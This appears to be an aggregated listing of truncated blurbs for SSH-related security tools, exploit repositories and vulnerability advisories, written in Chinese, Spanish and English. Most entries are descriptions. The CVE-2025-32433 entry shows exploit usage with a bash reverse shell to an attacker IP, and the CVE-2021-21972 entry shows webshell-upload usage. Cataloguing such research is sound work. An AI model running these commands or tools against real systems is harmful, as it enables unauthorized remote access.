trommel

TROMMEL TROMMEL 通过筛选嵌入式设备文件，识别潜在的安全漏洞指标。 TROMMEL 识别以下相关指标： 安全外壳（SSH）密钥文件 安全套接层（SSL）密钥文件 互联网协议（IP）地址 统一资源定位符（URL） 电子邮件地址 Shell 脚本 Web 服务器二进制文件 配置文件 数据库文件 特定二进制文件（如 Dropbear、BusyBox 等） 共享对象库文件 Web 应用脚本变量 Android 应用程序包（APK）文件权限 依赖 Python-Magic Pyfiglet 用法 TROMMEL 帮助菜单。 $ trommel.py --help...

Deadguez

Deadguez Deadguez es un escáner SSH rápido Dependencias sshpass Demo Probado en Sistema Operativo | Versión ---|--- Linux Mint | 19.3 Tricia Contacto Twitter: @4wsec Licencia GNU General Public License v3.0 Copyright Deadguez está hecho con ❤️ por Arya Narotama - 2020...

fingerprintx

Features • Installation • Usage • Running fingerprintx • Using as a library • Why not nmap? • Notes • Acknowledgements fingerprintx is a utility similar to httpx that also supports fingerprinting services like as RDP, SSH, MySQL, PostgreSQL, Kafka, etc. fingerprintx can be used alongside port...

CVE-2021-21972

Usage:CVE-2021-21972.py option -u or --url：目标url -t or --type：Payload类型（ssh/webshell -f or --file：要上传的文件（webshell或authorizedkeys） 例如：CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p or --proxy：设置代理 例如：CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p...

Mlflow <2.9.2 - Path Traversal

Path Traversal: '..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2. id: CVE-2023-6909 info: name: Mlflow 2.9.2 - Path Traversal author: Hyunsoo-ds severity: high description: | Path Traversal: '..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2. impact: | Successful...

GHOSTCHECK-cve-2015-0235

Ghostcheck 这是一个非常非常轻量的 fabric 脚本——用于检查 CVE-2015-0235 GHOST 对运行中的 Linux 主机的影响。在编写后将其分支至 Lyrical。 推荐使用 Python 2.6 及以上版本，并且需要 Fabric。 用法： fab -f ghostcheck.py -u sshusername -p sshpassword -H ip ,ip2 ,ipN go fab -f ghostcheck.py -u sshusername -i /path/to/ssh/key -H ip ,ip2 ,ipN go...

-SSH-Enum-CVE-2018-15473

🛡️ OpenSSH 用户枚举工具 CVE-2018-15473 用于 低于 7.7 版本的 OpenSSH 的用户枚举工具。此版本已移植到 Python 3 ，并针对 HackTheBox 和 TryHackMe 实验室环境进行了优化，以实现最大稳定性。 ✨ 主要改进 兼容性： 支持 paramiko 3.x（修复了 property object is not subscriptable 错误）。 校准： 使用随机用户进行初始测试，以检测服务器是否具有导致误报的保护措施。 即时反馈： 使用 imapunordered 实时显示有效和无效用户，同时脚本继续运行。 视觉输出：...

SSH-Snake

SSH-Snake：基于SSH的自动网络遍历 🐍 SSH-Snake 是一款强大的工具，旨在利用系统上发现的SSH私钥执行自动网络遍历，目标是创建完整的网络及其依赖关系地图，识别从特定系统出发，使用SSH和SSH私钥能在多大程度上入侵网络。 SSH-Snake 能自动揭示通过SSH连接的各个系统之间的关系，而手动完成这项工作通常需要大量的时间和精力。 换句话说，SSH-Snake 自动且递归地执行以下任务： 1. 在当前系统上，查找所有SSH私钥， 2. 在当前系统上，查找私钥可能被接受的所有主机或目标（user@host）， 3. 尝试使用所有发现的私钥SSH登录至所有目标， 4...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

ADC-19781

ADC-19781 针对 CVE-2019-19781 的若干检查 模块安装 下载两个文件（ADC-19781.psd1 和 ADC-19781.psm1），并将它们放在以下位置之一： C:\Users%USERNAME%\Documents\WindowsPowerShell\Modules\ADC-19781 C:\Program Files\WindowsPowerShell\Modules\ADC-19781 导入模块 Import-Module ADC-19781 共有两个主要函数： ADCFindIfHacked ADCCheckMitigation...

SUSE SLES12 Security Update : docker-stable (SUSE-SU-2026:1118-1)

The remote SUSE Linux SLES12 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:1118-1 advisory. - CVE-2025-58181: golang.org/x/crypto/ssh: invalidated number of mechanisms can cause unbounded memory consumption bsc1253904. Tenable has...

FreeBSD : Erlang/OTP -- multiple vulnerabilities in ssl, ssh and asn1 (60eb0bba-b668-11f1-9d0e-4c526214c986)

The version of FreeBSD installed on the remote host is prior to tested version. It is, therefore, affected by multiple vulnerabilities as referenced in the 60eb0bba-b668-11f1-9d0e-4c526214c986 advisory. The Erlang/OTP project reports: OTP 29.1.1, 28.5.0.7 and 27.3.4.18 fix the following issues:...

CVE-2025-32433

Erlang/OTP SSH CVE-2025-32433 安全研究 Python 漏洞利用概念验证 CVE-2025-32433 在 Erlang/OTP SSH 中的未认证远程代码执行。我还提供了一个 横幅抓取 Nuclei 模板 和一个 Nuclei RCE 检测。 Suricata 和 Zeek IDS 日志按顺序记录了：一次成功的 Paramiko 攻击，两次未受攻击的正常 OpenSSH9.8 连接，两次使用 ProDefense/CVE-2025-32433 的成功攻击，以及一次使用 iamnoooob、rootxharsh、pdresearch 的...

SECURITY-3314-3315

= SECURITY-3314/SECURITY-3315 缓解措施 此仓库记录了防止在受影响实例上利用 SECURITY-3314 和 SECURITY-3315 的缓解措施。 == 概述 需要禁用对 CLI 的访问。 必须采取以下两个步骤： 移除 CLI HTTP 端点 禁用 SSH 端口（https://plugins.jenkins.io/sshd/SSH Server Plugin） NOTE 基于 remoting 的 CLI 已在 Jenkins 中移除...

CVE-2023-35793-CSRF-On-Web-SSH

CVE-2023-35793-CSRF-On-Web-SSH El repositorio contiene la descripción de CVE-2023-35793 descubierta por el equipo industrial de Dodge para la plataforma Dodge OPTIFY. ID de CVE: CVE-2023-35793 Vendedor: Cassia Networks Producto: Access Controller Versión: Cassia-AC-2.1.1.2303271039 Vulnerabilidad...

CVE-2018-17873

CVE-2018-17873 Los routers indoor de WiFiRanger Core, GoAC y sus routers outdoor emparejados Sky Pro, EliteAC, EliteAC FM que ejecutan la versión de firmware 7.0.8rc3 y anteriores permiten acceso anónimo de lectura/escritura por FTP y han dejado la clave privada SSH en texto claro, lo que hace...

CVE-2024-3094-patcher

用于修补 xz-Utils 漏洞 CVE-2024-3094 的 Ansible Playbook 本文档详细介绍了一份 Ansible playbook，旨在解决在 xz-Utils 5.6.0 和 5.6.1 版本中发现的严重漏洞 CVE-2024-3094。该漏洞被归类为后门，允许攻击者绕过 SSH 身份验证，从而获得对受影响系统的未授权访问。 背景：xz-Utils 漏洞 CVE-2024-3094 2024 年 3 月 29 日，在 xz-Utils 5.6.0 和 5.6.1 版本中发现了一个严重的后门漏洞。该漏洞允许攻击者绕过 SSH...

ssh_user_enum

sshenumv0.3.py Uso: sshenumv0.3.py opciones Opciones: -h, --help Muestra este mensaje de ayuda y sale -u --userlist Especifica un archivo de nombres de usuario delimitado por nuevas líneas -i --ip Especifica el objetivo -m --multiplier Especifica el multiplicador de la contraseña utilizado para...

PwnCity

PwnCity Un entorno de integración continua TeamCity configurado de forma insegura. Trabajo en curso: El código de despliegue llegará pronto eventualmente . Demostración Puede haber más de una ruta a través de PwnCity, pero esta es la que presentaré el 24 de febrero en la reunión del capítulo de...

buffalo

Buffalo Un script de Python 3 para ejecutar ataques de diccionario/lista de palabras contra un servidor SSH objetivo utilizando dos archivos de texto como entrada. Escrito para los fines de mi evaluación técnica de Intel. Instalación Este script depende de Paramiko y Colorama. Instala las...